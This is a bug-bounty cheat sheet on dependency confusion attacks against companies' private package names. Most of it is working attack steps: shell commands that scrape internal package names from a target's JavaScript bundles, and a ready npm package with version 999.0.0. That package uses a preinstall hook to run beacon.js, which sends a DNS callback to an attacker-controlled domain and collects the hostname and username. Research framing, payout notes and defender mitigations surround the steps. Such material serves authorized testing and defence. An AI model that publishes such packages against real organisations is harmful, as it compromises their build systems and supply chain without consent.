Dependency Confusion (Alex Birsan 2021)
When an org uses internal private packages (e.g. @target-internal/utils)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the same name at higher version.
Default resolvers pick highest version → public package runs in CI.
1. Reconnaissance — find internal package names
| Source | Pattern |
|---|---|
package.json in public repo |
"@target/foo" scoped packages |
package.json exfiltrated from web (/static/) |
dependency lists |
| Webpack bundles | leaked package.json strings |
requirements.txt / Pipfile exposure |
target-internal-lib |
pom.xml / build.gradle |
<groupId>com.target</groupId> |
| Github org code search | @scope patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
2. Verify the package is private
# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate
# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available
# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).
3. Build the malicious package
mkdir attack-pkg && cd attack-pkg
# package.json
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOF
4. Publish
npm publish --access public
# For org scopes, may need to register the @scope first
5. Wait + observe
Within hours-days, target's CI will pull 999.0.0. Burp Collaborator
shows DNS hits.
6. Programs that PAY for this
- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
- Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope
- Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier
7. PoC framing (for the report)
DO NOT:
- Run any actual exploit logic
- Exfiltrate any data
- Steal credentials
- Disable security
DO:
- Generate a benign DNS callback (interactsh / Burp Collaborator)
- Capture the timestamp + source IP from your callback log
- Document the package as "research-only", deprecate it via npm immediately after PoC
- Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"
8. Severity
| Bug | Severity |
|---|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |
9. Defender
- Block public-registry fallback for scoped packages:
.npmrc@target:registry=https://internal-npm.target.com/ - Use lockfiles + integrity hashes (
package-lock.jsonw/integrityfield) - For PyPI:
pip install --index-url internal-pypi/ --extra-index-url public-pypi/is BACKWARDS — use--index-url internal-pypi/ --no-indexand explicitly allowlist public packages - Reserve internal namespace prefixes on public registries before they're used internally
- npm: use the
@orgscope and publish a public empty placeholder w/privatefield
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Dependency Confusion/ - Alex Birsan's original writeup: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
Known exemplars
- Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties
- Multiple H1/BC programs continue to pay $3-30k for confirmed installs
- Repeated incidents in 2022-2024 — pattern not dying